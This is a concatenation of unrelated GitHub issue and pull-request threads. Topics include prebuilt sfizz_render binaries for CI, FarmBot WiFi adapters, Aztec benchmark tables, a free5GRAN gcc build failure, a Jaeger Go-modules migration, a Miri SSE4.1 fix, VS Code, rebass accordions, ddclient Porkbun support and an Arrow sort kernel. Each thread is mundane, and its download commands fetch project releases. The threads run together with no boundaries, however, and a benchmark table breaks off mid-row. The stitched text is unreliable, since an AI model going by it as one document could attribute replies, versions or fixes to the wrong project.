I would like an audio preview to be generated automatically every time the SFZ file is changed. sfizz_render looks like the ideal tool for this job (even though it generates .wav instead of .flac I can work around that!)
I can generate an audio file successfully using the commands:
git clone https://github.com/sfztools/sfizz
cd sfizz
git submodule update --init --recursive
mkdir build
cd build
cmake ..
make
./clients/sfizz_render --sfz ../Salamander\ Grand\ Piano\ V3.sfz --wav ../salamander-grand-piano.wav --midi ../salamander-grand-piano.mid

Problem
There are so many commands just to get sfizz_render built, the process takes time and is resource intensive. It requires downloading and building of sfizz code/dependencies (500MB) just to make the sfizz_render command available to the CI pipeline. This is multiplied by the number of times the pipeline is run, everytime I create a release these commands have to run.
Solution
Prebuild the sfizz_render binaries for Linux, Mac and Windows and publish to GitHub releases. This would allow pipelines to download the binary only (5MB). It would also simplify the pipeline commands for developers to implement:
curl -sS https://github.com/sfztools/sfizz/releases/download/2.0.0/sfizz-render-linux.zip > sfizz-render-linux.zip
unzip sfizz-render-linux.zip
./sfizz-render-linux/sfizz_render --sfz instrument.sfz --wav preview.wav --midi preview.mid

Later, another improvement could be to publish binaries to the respective package managers. Install commands would be more memorable and could be as simple as:
apt install sfizz_render // linux
brew install sfizz_render // mac
choco install sfizz_render // win

For now I can workaround by creating my own builds of the binaries and storing them somewhere else. But I think this would be a useful feature for all!
Thanks!

If I can put my cent on this I think adding another archive to releases it might only confuse people since sfizz_render should be already part of the other packages. The real solution is just what you already doing, by keeping a prebuilt binary somewhere to be downloaded during your CI workflow. If the problem is just to keep it up to date it is not necessary, just do it if a new version has a really useful feature that yours doesn't have.

I was kinda thinking more along the lines of adding it to the OBS builds.

OBS builds don't have it in already? For the archives do you think to restore the linux static build?

IDK, I'll see all of this. Aren't all builds static by default these days?

Distro packages not for sure, by static I also mean with all major dependencies built in as well. Now I forgot the reason why the linux build was disabled/removed but I barely recall for something related, anyway packagers should take care of it.
Just taking a look into OBS builds, in the Debian package it is included with the manual.

Distro packages not for sure, by static I also mean with all major dependencies built in as well.

For GUI-less things it's doable.

Just taking a look into OBS builds, in the Debian package it is included with the manual.

Right.. @kmturley how about taking and installing one of these?
I do that for libsfizz in there for example. I thought sfizz-render wasn't included.

Sure I could do something like this:
curl -sS http://download.opensuse.org/repositories/home:/sfztools:/sfizz/Debian_11/amd64/sfizz_1.1.1-0_amd64.deb > sfizz-linux.deb
ar -x  sfizz-linux.deb
tar --use-compress-program=unzstd -xvf data.tar.zst
./usr/bin/sfizz_render --sfz instrument.sfz --wav preview.wav --midi preview.mid

However that doesn't solve for Mac or Windows?

Why not installing through the PPA as I linked above? Or at least installing the deb package? This is kind of the point of package management. If down the line we add a requirement on a system package for these (and on Fedora this is already the case afair) your way will fail.
I'll see if we can add it to mac/windows packages.

mingw packages have it BTW

They're broken now.

So I've updated the build scripts on #1056 to publish the build artifacts with sfizz_render; it is actually built on most platforms as a test already. After thinking more about this I think I won't publish additional binaries in the Github releases. Feel free to use #1056 on a fork for this purpose if you wish.

If sfizz_render is needed for CI purposes, the OBS builds provide a satisfactory way to install it painlessly in a machine. This script shows how to integrate the package in a Github CI instance.
Using sfizz_render on Mac and Windows represents a really tiny fraction of the users. Even for them, as you said, integration with Homebrew, Chocolatey or WinGet would probably be the smarter way. I will gladly support all packaging efforts, we always strive to do so. However I can't commit to maintain them, so feel free to do so.
Considering your CI needs, maybe publishing a Github action could help all your issues? They have a repo and their own releases associated to them, maybe it'd be a good way forward.

Thanks for looking into it. The self-build approach works for me for now, although it would be great to have an official cross-platform binary source in the future.
I created my own GitHub CI yml based on previous StudioRack workflows:
https://github.com/studiorack/sfizz/blob/feature/studiorack-ci/.github/workflows/release.yml
Run details:
https://github.com/studiorack/sfizz/actions/runs/1636432826
Release which is created:
https://github.com/studiorack/sfizz/releases/tag/v1.1.1
Binaries created:
https://github.com/studiorack/sfizz/releases/download/v1.1.1/sfizz-render-linux.zip
https://github.com/studiorack/sfizz/releases/download/v1.1.1/sfizz-render-mac.zip
https://github.com/studiorack/sfizz/releases/download/v1.1.1/sfizz-render-win.zip
Binaries details:
file ./sfizz-render-linux/sfizz_render
ELF 64-bit LSB pie executable, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=2d90127b19f0d0344330699f5fcf94029d81f734, for GNU/Linux 3.2.0, not stripped

file ./sfizz-render-mac/sfizz_render
Mach-O 64-bit executable x86_64

file ./sfizz-render-win/sfizz_render.exe
PE32+ executable (console) x86-64, for MS Windows


typo in cassandra artifactid

the artifact is deployed on oss sonatype with two 's'. Modified the dependency sample accordingly

Current coverage is 97.42%

Merging #131 into master will decrease coverage by -0.28% as of 939d1d8

Powered by Codecov. Updated on successful CI builds.

@sammyrulez thank you!


WiFi Adapters

Hi
Can I install other Wi-Fi network adapters?
Thanks

@sabas1080 The answer to that question is usually "yes". When we build the Linux kernel for FarmBot OS, we try to add as many USB network peripherals as possible. With that being said, we can't guarantee that every USB adapter will work. Many Express customers have successfully purchased off-the-shelf USB Ethernet adapters for this purpose.
If you have not purchased a FarmBot yet and have a Raspberry Pi available, you can verify compatibility by flashing FBOS to the Pi (no need to attach peripherals) and see if configurator succeeds with your chosen adapter.

@RickCarlino do you have a list of compatible adapters or chips?

@sabas1080 I do not, but if there's an adapter you had in mind (specifically, the chipset inside) I can look it up. We use buildroot and our buildroot config contains a list of all the drivers available: https://github.com/FarmBot/farmbot_system_rpi3/blob/main/linux-5.10.defconfig
Also, if you are looking for a recommendation for a USB ethernet device, any adapter with a AX88179 chipset should work.

In addition to the above, from a quick review of firmware configs and sources:
Ralink rt2501/rt61
Ralink rt73
Ralink rt27xx/rt28xx/rt30xx
Realtek 8188/8192
Realtek 8712/8723/8723be
Realtek 8821a/8821c/8822b/8822cs/8822cu/8852au

configs:
https://github.com/FarmBot/farmbot_system_rpi3/blob/d3544d316998653e562990789e5ce5fc0d85598a/nerves_defconfig#L55-L60
sources:
https://github.com/buildroot/buildroot/blob/master/package/linux-firmware/linux-firmware.mk
https://github.com/buildroot/buildroot/blob/master/package/linux-firmware/Config.in

Thanks @RickCarlino
I have not been able to access any of those chips, what I have done is use an extender device like this one, if someone has the same problem I will leave the solution
https://www.tp-link.com/es/home-networking/range-extender/tl-wa855re/

Thanks, @sabas1080 I have seen some customers use TPLink extender products in the past, though I cannot confirm the exact model number. If it is exposed as a standard WiFi AP, it should work. How is that device working out so far?


fix: stop squashing storage accesses in avm simulator - all need to be validated in kernel

#7036  👈
master

This stack of pull requests is managed by Graphite. Learn more about stacking.

Join @dbanks12 and the rest of your teammates on  Graphite

Benchmark results
Metrics with a significant change:

avm_simulation_time_ms (Token:mint_public): 563 (+658%)
avm_simulation_time_ms (Token:assert_minter_and_mint): 74.3 (-66%)

Detailed results
All benchmarks are run on txs on the Benchmarking contract on the repository. Each tx consists of a batch call  to create_note and increment_balance, which guarantees that each tx has a private call, a nested private call, a public call, and a nested public call, as well as an emitted private note, an unencrypted log, and public storage read and write.
This benchmark source data is available in JSON format on S3 here.
Proof generation
Each column represents the number of threads used in proof generation.

Metric
1 threads
4 threads
16 threads
32 threads
64 threads

proof_construction_time_sha256_ms
5,716
1,548
696 (-1%)
778 (+4%)
772

proof_construction_time_sha256_30_ms
11,416
3,059
1,366
1,407 (-1%)
1,445 (-1%)

proof_construction_time_sha256_100_ms
43,757
11,756
5,404
5,406
5,342

proof_construction_time_poseidon_hash_ms
78.0
34.0
34.0
57.0 (-3%)
89.0 (+1%)

proof_construction_time_poseidon_hash_30_ms
1,518
416
201 (+1%)
228 (+2%)
265

proof_construction_time_poseidon_hash_100_ms
5,749
1,572 (+1%)
723
786 (-1%)
808 (+2%)

L2 block published to L1
Each column represents the number of txs on an L2 block published to L1.

Metric
4 txs
8 txs
16 txs

l1_rollup_calldata_size_in_bytes
1,412
1,412
1,412

l1_rollup_calldata_gas
9,464
9,454
9,464

l1_rollup_execution_gas
610,285
610,275
610,285

l2_block_processing_time_in_ms
749
1,409 (+1%)
2,686 (+1%)

l2_block_building_time_in_ms
23,267 (+2%)
46,326 (+1%)
91,474 (+3%)

l2_block_rollup_simulation_time_in_ms
23,172 (+2%)
46,039 (+1%)
91,135 (+3%)

l2_block_public_tx_process_time_in_ms
19,854 (+2%)
42,548 (+1%)
87,681 (+3%)

L2 chain processing
Each column represents the number of blocks on the L2 chain where each block has 8 txs.

Metric
3 blocks
5 blocks

node_history_sync_time_in_ms
6,437 (+1%)
9,358 (+3%)

node_database_size_in_bytes
10,526,800
14,389,328

pxe_database_size_in_bytes
9,242
15,127

Circuits stats
Stats on running time and I/O sizes collected for every kernel circuit run across all benchmarks.

Circuit
simulation_time_in_ms
witness_generation_time_in_ms
proving_time_in_ms
input_size_in_bytes
output_size_in_bytes
proof_size_in_bytes
num_public_inputs
size_in_gates

private-kernel-init
130 (+1%)
533 (+8%)
12,084 (-2%)
20,634
65,142
90,304
2,755
524,288

private-kernel-inner
391 (+1%)
1,059 (-2%)
44,827 (-1%)
92,854
65,142
90,304
2,755
2,097,152

private-kernel-tail
373 (+2%)
1,857 (-1%)
46,323
97,073
73,629
14,912
399
2,097,152

base-parity
6.37 (-4%)
1,766 (-2%)
2,586 (+2%)
128
64.0
2,208
2.00
131,072

root-parity
50.3
47.6 (+1%)
34,255 (+1%)
27,100
64.0
2,720
18.0
2,097,152

base-rollup
7,794 (+2%)
4,466 (+1%)
71,991
170,330
756
3,648
47.0
4,194,304

root-rollup
113 (+1%)
64.1 (-3%)
19,483
25,309
620
3,456
41.0
1,048,576

public-kernel-setup
698
2,866
38,290 (+1%)
113,321
91,286
123,296
3,786
2,097,152

public-kernel-app-logic
597 (+2%)
3,935 (+1%)
39,032 (-1%)
113,321
91,286
123,296
3,786
2,097,152

public-kernel-tail
1,184 (+1%)
32,651 (+4%)
156,949 (-1%)
412,582
10,014
14,912
399
8,388,608

private-kernel-reset-small
592 (+1%)
2,072 (-4%)
41,615 (+2%)
121,265
65,142
90,304
2,755
2,097,152

public-kernel-teardown
595 (-1%)
3,946 (+1%)
39,636
113,321
91,286
123,296
3,786
2,097,152

merge-rollup
29.7 (+2%)
N/A
N/A
16,542
756
N/A
N/A
N/A

private-kernel-tail-to-public
N/A
7,183 (-2%)
84,663 (-1%)
N/A
N/A
123,296
3,786
4,194,304

avm-circuit
N/A
N/A
3,392 (+9%)
N/A
N/A
86,139
0.00
0.00

Stats on running time collected for app circuits

Function
input_size_in_bytes
output_size_in_bytes
witness_generation_time_in_ms
proof_size_in_bytes
proving_time_in_ms
size_in_gates
num_public_inputs

ContractClassRegisterer:register
1,344
9,944
402
N/A
N/A
N/A
N/A

ContractInstanceDeployer:deploy
1,408
9,944
41.4
N/A
N/A
N/A
N/A

MultiCallEntrypoint:entrypoint
1,920
9,944
1,994
N/A
N/A
N/A
N/A

GasToken:deploy
1,376
9,944
968
N/A
N/A
N/A
N/A

SchnorrAccount:constructor
1,312
9,944
1,458
N/A
N/A
N/A
N/A

SchnorrAccount:entrypoint
2,304
9,944
2,808
16,768
50,833 (+1%)
2,097,152
457

Token:privately_mint_private_note
1,280
9,944
1,730 (-1%)
N/A
N/A
N/A
N/A

FPC:fee_entrypoint_public
1,344
9,944
339
16,768
10,044 (-2%)
524,288
457

Token:transfer
1,312
9,944
4,932
16,768
46,274
2,097,152
457

Benchmarking:create_note
1,344
9,944
1,392
N/A
N/A
N/A
N/A

SchnorrAccount:spend_private_authwit
1,280
9,944
76.3
N/A
N/A
N/A
N/A

Token:unshield
1,376
9,944
3,969
N/A
N/A
N/A
N/A

FPC:fee_entrypoint_private
1,376
9,944
4,915
N/A
N/A
N/A
N/A

AVM Simulation
Time to simulate various public functions in the AVM.

Function
time_ms

GasToken:_increase_public_balance
70.1 (+2%)

GasToken:set_portal
16.1 (-3%)

Token:constructor
96.0 (+3%)

FPC:constructor
62.8 (-1%)

GasToken:mint_public
55.5 (-17%)

Token:mint_public
:warning: 563 (+658%)

Token:assert_minter_and_mint
:warning: 74.3 (-66%)

SchnorrAccount:approve_public_authwit
32.6 (+3%)

FPC:prepare_fee
75.2

Token:transfer_public
42.4 (-9%)

FPC:pay_refund
60.2 (+1%)

Benchmarking:increment_balance
2,434 (+2%)

Token:_increase_public_balance
58.6 (-9%)

FPC:pay_refund_with_shielded_rebate
58.1 (+16%)

Public DB Access
Time to access various public DBs.

Function
time_ms

get-nullifier-index
0.176 (+1%)

Tree insertion stats
The duration to insert a fixed batch of leaves into each tree type.

Metric
1 leaves
16 leaves
64 leaves
128 leaves
256 leaves
512 leaves
1024 leaves

batch_insert_into_append_only_tree_16_depth_ms
10.5 (+2%)
17.1 (+2%)
N/A
N/A
N/A
N/A
N/A

batch_insert_into_append_only_tree_16_depth_hash_count
16.7
31.8
N/A
N/A
N/A
N/A
N/A

batch_insert_into_append_only_tree_16_depth_hash_ms
0.609 (+2%)
0.523 (+2%)
N/A
N/A
N/A
N/A
N/A

batch_insert_into_append_only_tree_32_depth_ms
N/A
N/A
48.9 (+1%)
75.8 (+1%)
132 (+2%)
245 (+1%)
468

batch_insert_into_append_only_tree_32_depth_hash_count
N/A
N/A
95.9
159
288
543
1,055

batch_insert_into_append_only_tree_32_depth_hash_ms
N/A
N/A
0.499 (+1%)
0.467 (+1%)
0.451 (+1%)
0.444
0.437

batch_insert_into_indexed_tree_20_depth_ms
N/A
N/A
59.5
111
181
353 (+1%)
691 (+1%)

batch_insert_into_indexed_tree_20_depth_hash_count
N/A
N/A
109
208
355
691
1,363

batch_insert_into_indexed_tree_20_depth_hash_ms
N/A
N/A
0.505
0.499
0.480
0.478 (+1%)
0.475 (+1%)

batch_insert_into_indexed_tree_40_depth_ms
N/A
N/A
74.5 (+1%)
N/A
N/A
N/A
N/A

batch_insert_into_indexed_tree_40_depth_hash_count
N/A
N/A
135
N/A
N/A
N/A
N/A

batch_insert_into_indexed_tree_40_depth_hash_ms
N/A
N/A
0.520
N/A
N/A
N/A
N/A

Miscellaneous
Transaction sizes based on how many contract classes are registered in the tx.

Metric
0 registered classes
1 registered classes

tx_size_in_bytes
83,854
676,749

Transaction size based on fee payment method
| Metric |  |
| - |  |


Fix an error with file without BOM like it can happened with Assembly…

…Info.cs when it's generated

Nice catch, thanks!


Build fail, sorry, unimplemented: non-trivial designated initializers not supported

Describe the bug
A clear and concise description of what the bug is.
Build failure
To Reproduce
Just try to use make command, the following failure occurs:
Scanning dependencies of target free5GRAN
[ 99%] Building CXX object CMakeFiles/free5GRAN.dir/src/main.cc.o
[100%] Building CXX object CMakeFiles/free5GRAN.dir/src/phy/phy.cpp.o
/home/nano/free5GRAN-master-B210/src/phy/phy.cpp: In member function ‘int phy::init(free5GRAN::synchronization_object&, std::condition_variable&)’:
/home/nano/free5GRAN-master-B210/src/phy/phy.cpp:373:49: sorry, unimplemented: non-trivial designated initializers not supported
.shiftIndex = pci}};
^
/home/nano/free5GRAN-master-B210/src/phy/phy.cpp:373:49: sorry, unimplemented: non-trivial designated initializers not supported
/home/nano/free5GRAN-master-B210/src/phy/phy.cpp:373:49: sorry, unimplemented: non-trivial designated initializers not supported
/home/nano/free5GRAN-master-B210/src/phy/phy.cpp:373:49: sorry, unimplemented: non-trivial designated initializers not supported
/home/nano/free5GRAN-master-B210/src/phy/phy.cpp:373:49: sorry, unimplemented: non-trivial designated initializers not supported
CMakeFiles/free5GRAN.dir/build.make:86: recipe for target 'CMakeFiles/free5GRAN.dir/src/phy/phy.cpp.o' failed
make[2]: *** [CMakeFiles/free5GRAN.dir/src/phy/phy.cpp.o] Error 1
CMakeFiles/Makefile2:142: recipe for target 'CMakeFiles/free5GRAN.dir/all' failed
make[1]: *** [CMakeFiles/free5GRAN.dir/all] Error 2
Makefile:129: recipe for target 'all' failed
make: *** [all] Error 2
Screenshots
System:

OS: [Ubuntu]
Version [18.03]
Libuhd version

Additional context
Add any other context about the problem here.

Hello, which version of gcc are you using ?

gcc verison is :
gcc (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
Copyright (C) 2017 Free Software Foundation, Inc.

I try to upgrade my gcc to
gcc (Ubuntu 9.3.0-11ubuntu0~18.04.1) 9.3.0
, but the error still remains.  what gcc version need ?  In fact , I compiled pass in all your formal code before last month. I don't know why I can't compile this version of your code.

We will investigate. We do not have the issue here. Thanks for reporting

I finnally solve it.  After I upgrade my gcc to gcc-9. When I type gcc -v , it returns version 9.3.0. But when I type g++ -v, it returns still version 7.5.0. I think this is the problem, so I try to let ubuntu point to g++-9 when type g++. After this effort, build free5GRAN is OK now.

Thanks for your reply. We will investigate which gcc/g++ version is best for compiling


fix: changed a minor typo

changed the typo
fixes #76099

@adityatheoctocatdev : Thanks for your contribution! The author(s) have been notified to review your proposed change.

@adityatheoctocatdev, thanks for the catch! These changes look good #sign-off

@PeterCLu: I'm sorry - only the author of this article, @sdgilley, can sign off on your changes. But we do have an exception process - if you are on the Microsoft content or product team for this product area, you can ask the PR review team to review and merge it by sending mail to the techdocprs alias.


use go modules

Which problem is this PR solving?
Resolves #382
Short description of the changes

remove glide
remove dep
add go.mod
set module version to v3

Started new clean PR (closed #583)
Make file passes locally
Tests pass locally:

Looks like my VSCode auto applied gofmt -w -s
Is that an issue? Lots of code have been reformated.
I bet i can fix it with the desired formatting

We need to go to new major version because we already have lots of version tags that apply to the old namespace.

So you mean something like v4?

V3 is fine since the current code maxes or at 2.x

Would it be possible to approve the usage of the Github pipelines, so i can fix possible errors inside the pipelines? :)

Approved runs, but all CI can also be run locally.

Well tbh i'm not sure what to do about the 2 CodeQL failures.

I think we can ignore codeql errors, it seems to rain before the or as well, need to look at it separately

@Nerzal we just discussed this change on the Jaeger call and decided that it would be a good idea to combine the major version / namespace change with the clean-up items that have accumulated in the code base and require breaking changes.
I've created a new branch dev-v3, could you please repoint the PR to that branch? We'll do the clean-ups there and them merge the whole thing to master.
$ grep -rn 'TODO (breaking change)' .
./sampler_v2.go:55:// TODO (breaking change) remove this in the next major release
./utils/rate_limiter.go:24:// TODO (breaking change) remove this interface in favor of public struct below
./utils/rate_limiter.go:44:// TODO (breaking change) rename to RateLimiter once the interface is removed
./sampler_remote.go:92:// TODO (breaking change) remove when Sampler V1 is removed
./tracer.go:78:// TODO (breaking change) return *Tracer only, without closer.
./span.go:72:// TODO (breaking change) deprecate in the next major release, use opentracing.Tag instead.
./span.go:79:// TODO (breaking change) deprecate in the next major release, use opentracing.Tag instead.
./sampler.go:46:	// TODO (breaking change) remove this function. See PerOperationSampler.Equals for explanation.
./sampler.go:392:// TODO (breaking change) remove when upgrading everything to SamplerV2
./sampler.go:482:// TODO (breaking change) remove this in the future

cc @joe-elliott

Sure, will do. Give me some minutes

Heyho, don't wanna stress you out, but is there anything i can do to speed up the process here? :)


Unified container store

Create a container store to be used across mr_proc instances (possibly shared with entire lab/BIC).

Nikhil has created location on BIC: /data/origami/container_store/mr_proc/
We'll look into their local Docker-hub like hosting, but it's not actually clear if that workflow is useful to us.


Fix x86 SSE4.1 ptestnzc

Fixes ptestnzc by bringing back the original implementation of https://github.com/rust-lang/miri/pull/3214.
(op & mask) != 0 && (op & mask) == !ask need to be calculated for the whole vector. It cannot be calculated for each element and then folded.
For example, given

op = [0b100, 0b010]
mask = [0b100, 0b110]

The correct result would be:

op & mask = [0b100, 0b010]
Comparisons are done on the vector as a whole:
all_zero = (op & mask) == [0, 0] = false
masked_set = (op & mask) == mask = false
!all_zero && !masked_set = true correct result

The previous method:

op & mask = [0b100, 0b010]
Comparisons are done element-wise:
all_zero = (op & mask) == [0, 0] = [true, true]
masked_set = (op & mask) == mask = [true, false]
!all_zero && !masked_set = [true, false]
After folding with AND, the final result would be false, which is incorrect.

Ah... unfortunate. I guess we could still express this as a fold if we wanted (by folding over a pair of booleans), but it doesn't seem worth it.
@bors r+

:pushpin: Commit 092eb11f2cb5021c3e3f1607f8410c8ba766a957 has been approved by RalfJung
It is now in the queue for this repository.

:hourglass: Testing commit 092eb11f2cb5021c3e3f1607f8410c8ba766a957 with merge 12c868ad506dde09a0f842e747e03a632dcb65a5...

:sunny: Test successful - checks-actions
Approved by: RalfJung
Pushing 12c868ad506dde09a0f842e747e03a632dcb65a5 to master...


Drag/drop to window border shows "copy" icon, does nothing, suppresses default title bar behaviour

Reopening https://github.com/microsoft/vscode/issues/140282

Does this issue occur when all extensions are disabled?: Yes

VS Code Version:

Version: 1.63.2
Commit: 899d46d82c4c95423fb7e10e68eba52050e30ba3
Date: 2021-12-15T09:39:46.686Z
Electron: 13.5.2
Chromium: 91.0.4472.164
Node.js: 14.16.0
V8: 9.1.269.39-electron.0
OS: Linux x64 5.4.0-91-generic

OS Version: Ubuntu 20.04 LTS

Steps to Reproduce:

With at least two monitors, open VS Code maximized in one of them
From the other monitor, drag a tab from Firefox or Chrome to the very top of the first monitor.
Observe that the cursor changes to a copy ("+") icon, but dropping the tab does nothing.
If, instead, you drag over the VS Code title bar (but not the very top row of pixels), observe that the cursor does not display the "+", and dropping the tab results in it being torn off the original browser and opened in a new window.

The same behaviour can be seen if you drag, e.g., a file from "Files" -- the very top row of pixels behave differently from the rest of the title bar/caption.
This behaviour does not occur on VS Code (same version) on Windows 11: the title bar extends to the very edge of the screen.
Why is this annoying?
Because when I want to pull a tab from one browser window into its own window, I can't take advantage of Fitts' law, but instead have to be very careful about where I'm dragging the tab.

I've narrowed down the behaviour:
It only seems to happen on Linux, and only when a new VS Code window automatically maximizes to the screen on initially opening.
I've got window.newWindowDimensions set to inherit.
If you restore a window and then maximize it, then it behaves correctly.

https://user-images.githubusercontent.com/323236/149787087-37d2f625-077b-4c5e-95df-d8672777ae4a.mp4

@deepak1556 this seems like its beyond vs code's control and more likely in electron

Does the issue repro with latest stable 1.74 ?

This issue has been closed automatically because it needs more information and has not had recent activity. See also our issue reporting guidelines.
Happy Coding!


Accordion Request

An accordion component like bootstraps would be a great addition.
See: Bootstrap Accordion

Generally, I like this idea – I've thought about adding both  and  components, along with a div-based, props-driven accordion, but haven't spent the time to think about how to implement those yet

Was looking for something like accordions or collapsible panels. I ended up easily using rebass with react-collapsible. Below is react-collapsible example code embeded in rebass Panel Demo Code.
This Example has Embedded accordions in the Panel, and makes the panel itself collapsible.

import React from 'react';
import styled, { css } from 'styled-components';
import Collapsible from 'react-collapsible';
import {
Panel,
PanelHeader,
PanelFooter,
Provider,
} from 'rebass'
import { Box } from 'grid-styled'
import Section from './rebase/Section' // github.com/jxnblk/rebass/blob/master/docs/src/Section.js
const triggerSiblingExample = () => This is a sibling to the trigger which wont cause the Collapsible to open!;
const CollapseDemo = styled.div`
.Collapsible {
background-color: white;
}
.Collapsible__contentInner {
padding: 10px;
border: 1px solid #ebebeb;
border-top: 0;
}
.Collapsible__contentInner p {
margin-bottom: 10px;
font-size: 14px;
line-height: 20px;
}
.Collapsible__contentInner p:last-child {
margin-bottom: 0;
}
.Collapsible__trigger {
display: block;
font-weight: 400;
text-decoration: none;
color: #333333;
position: relative;
border: 1px solid white;
padding: 10px;
background: #00ac9d;
color: white;
}
.Collapsible__trigger:after {
font-family: 'FontAwesome';
content: '\f107';
position: absolute;
right: 10px;
top: 10px;
display: block;
transition: transform 300ms;
}
.Collapsible__trigger.is-open:after {
transform: rotateZ(180deg);
}
.Collapsible__trigger.is-disabled {
opacity: 0.5;
background-color: grey;
}
.CustomTriggerCSS {
background-color: lightcoral;
transition: background-color 200ms ease;
}
.CustomTriggerCSS--open {
background-color: darkslateblue;
}
.Collapsible__custom-sibling {
padding: 5px;
font-size: 12px;
background-color: #CBB700;
color: black;
}
`
export default () =>(
<Provider>

        <Box my={3}>
            <Panel color='blue'>
                <Collapsible trigger=
                                 { <PanelHeader
                    color='white'
                    bg='blue'>
                    Hello
                </PanelHeader>}>
                <Box p={3}>
                    <CollapseDemo>
                        <Collapsible transitionTime={400} trigger="Then try this one">

Would you look at that!

See; you can nest as many Collapsible components as you like.

                            <Collapsible trigger="Mmmmm, it's all cosy nested here">

And there's no limit to how many levels deep you go. Or how many you have on the same level.

                                <Collapsible trigger="This is just another Collapsible">

It just keeps going and going! Well, actually we've stopped here. But that's only because I'm running out of things to type.

                                </Collapsible>
                                <Collapsible trigger="But this one is open by default!" open={true}>

And would you look at that! This one is open by default. Sexy huh!?

You can pass the prop of open={true} which will make the Collapsible open by default.

                                </Collapsible>
                                <Collapsible trigger="That's not all. Check out the speed of this one" transitionTime={100}>

Whoosh! That was fast right?

You can control the time it takes to animate (transition) by passing the prop transitionTime a value in milliseconds. This one was set to transitionTime={100}

                                </Collapsible>

                            </Collapsible>
                        </Collapsible>

                        <Collapsible transitionTime={400} trigger="This one will blow your mind." easing={'cubic-bezier(0.175, 0.885, 0.32, 2.275)'}>

Well maybe not. But did you see that little wiggle at the end. That is using a CSS cubic-beizer for the easing!

You can pass any string into the prop easing that you would declare in a CSS transition-timing-function. This means you have complete control over how that Collapsible appears.

                        </Collapsible>

                        <Collapsible transitionTime={400} trigger="Oh and did I mention that I'm responsive?" triggerWhenOpen="Plus you can change the trigger text when I'm open too">

That's correct. This collapsible section will animate to the height it needs to and then set it's height back to auto.

This means that no matter what width you stretch that viewport to, the Collapsible it will respond to it.

And no matter what height the content within it is, it will change height too.

CSS Styles

All of the style of the Collapsible (apart from the overflow and transition) are controlled by your own CSS too.

By default the top-level CSS class is Collapsible, but you have control over this too so you can easily add it into your own project. Neato!

So by setting the prop of classParentString={"MyNamespacedClass"} then the top-level class will become MyNamespacedClass.

                        </Collapsible>

                        <Collapsible lazyRender transitionTime={600} trigger="What happens if there's a shed-load of content?" easing={'cubic-bezier(0.175, 0.885, 0.32, 2.275)'} overflowWhenOpen="visible">

Add the prop of lazyRender and the content will only be rendered when the trigger is pressed

                        </Collapsible>

                        <Collapsible trigger="You can customise the CSS a bit more too"
                                     triggerClassName="CustomTriggerCSS"
                                     triggerOpenedClassName="CustomTriggerCSS--open"
                                     contentOuterClassName="CustomOuterContentCSS"
                                     contentInnerClassName="CustomInnerContentCSS"
                        >

This is the collapsible content. It can be any element or React component you like.

                        </Collapsible>

                        <Collapsible trigger="You can disable them programatically too" open triggerDisabled>

This one has it's trigger disabled in the open position. Nifty.

You also get the is-disabled CSS class so you can style it.

                        </Collapsible>
                        <Collapsible trigger="You can have siblings to the trigger too which won't trigger the Collapsible" triggerSibling={triggerSiblingExample}>

This one has it's trigger disabled in the open position. Nifty.

You also get the is-disabled CSS class so you can style it.

                        </Collapsible>
                    </CollapseDemo>

                </Box>
                <PanelFooter color='blue'>
                    Footer
                </PanelFooter>
                </Collapsible>
            </Panel>
        </Box>

</Provider>

)

Closing this in favor of #403


dns/ddclient: Adding support for Porkbun (and others) added in ddclient v3.11.0

ddclient added multiple new providers in v3.11.0. Current os-ddclient plugin 1.18 ships with ddclient v3.11.2.
Adding <porkbun>Porkbun</porkbun> to usr/local/opnsense/mvc/app/models/OPNsense/DynDNS/DynDNS.xml allows me to add a Porkbun entry in the plugin GUI. The protocol used and API parsing is correct for the added entry.
I however cannot get the APIKEY and SECRETAPIKEY used by Porkbun's API to post correctly. API keys entered into user/pass fields returns the error: FAILED: {"status":"ERROR","message":"All API requests require an API key or API token."})
Manually editing the user/pass entry in usr/local/etc/ddclient.conf, to apikey/secretapikey as per ddclient.conf example works properly and checks/updates the DNS record.
os-ddclient GUI generates the following in usr/local/etc/ddclient.conf:
usev4=ifv4, ifv4=pppoe0, \
protocol=porkbun, \
username=<apikey>, \
password=<secretapikey> \
subdomain.domain.com

Below is the configuration that is working:
usev4=ifv4, ifv4=pppoe0, \
protocol=porkbun, \
apikey=<apikey>, \
secretapikey=<secretapikey> \
subdomain.domain.com

Hoping to get proper support added for Porkbun in os-ddclient, or at least share the above information with those that are searching for workarounds.

Will reopen with proper template


open season pack from torrent list open last played episode instead of list of files

Expected Behavior

not sure if this is a big or feature but i guess season packs should open list of files anyway (for convenience)
if it is not possible or hard to fix - then it is better to have #498 in place without fixing this bug.
btw "select file to play" works fine only for completely downloaded torrents, so can't be used as a workaround for all cases at the moment - #560
Current Behavior

open season pack from torrent list open last played episode instead of list of files
Possible Solution

probably connected to change made here - https://github.com/elgatito/plugin.video.elementum/issues/498#issuecomment-567633466
Steps to Reproduce (for bugs)

associate a torrent with a season via "select stream"
watch some episode (not the first)
open season pack in torrents list - it will open the same episode you watched instead of list of files
watch some other episode via trakt menus
open season pack in torrents list - it will open the same episode you watched in the previous step instead of list of files

Context

Your Environment

Version used:
0.1.50

Environment name and version:
spmc 17.6

Operating System and version:

android tv 8

Link to Kodi debug log:

https://paste.ubuntu.com/p/VN387Df5nv/

It is not a bug. Every torrent is linked with movie/episode.
When you start playback from torrents' list - elementum tries to find file linked with the movie/episode.
The only way to avoid auto-selecting file is to select it manually from context menu, if that is not working - then it is a bug.

When you start playback from torrents' list - elementum tries to find file linked with the movie/episode.

that's why i thought...
i will close this issue.

The only way to avoid auto-selecting file is to select it manually from context menu, if that is not working - then it is a bug.
yeah, there is small bug with this https://github.com/elgatito/plugin.video.elementum/issues/560

Thank you!


I can't find the module that has Get-ManagementRole and related commands.

In trying to determine access to, for instance, Get-Service -ComputerName myBox the doc says to use commands like Get-ManagementRole. The commands are not defined and I haven't been able find the module I need to get them. Are the commands obsolete?

Thank you, I believe I understand. Besides, I've convinced myself I've firewall problems with .NET based -ComputerName commands. Or authentication across subnets through the firewall. Within the firewall, all works well. Thanks again.


[C++][Compute] Pre-solve chunked indices before merging chunks in Sort kernels

Describe the enhancement requested
In the chunked sort kernels (for ChunkedArray and Table), the most expensive step can be the recursive merge of sorted chunks after each individual chunk was sorted.
Currently, this merge step resolves chunked indices every time an access is made to read a value. This means chunked resolution is computed O(n*log2(k)) times (where n is the input length and k is the number of chunks).
However, we could instead compute chunked indices after sorting the individual chunks. Then there would be no chunk resolution when merging, just direct accesses through ResolvedChunks.
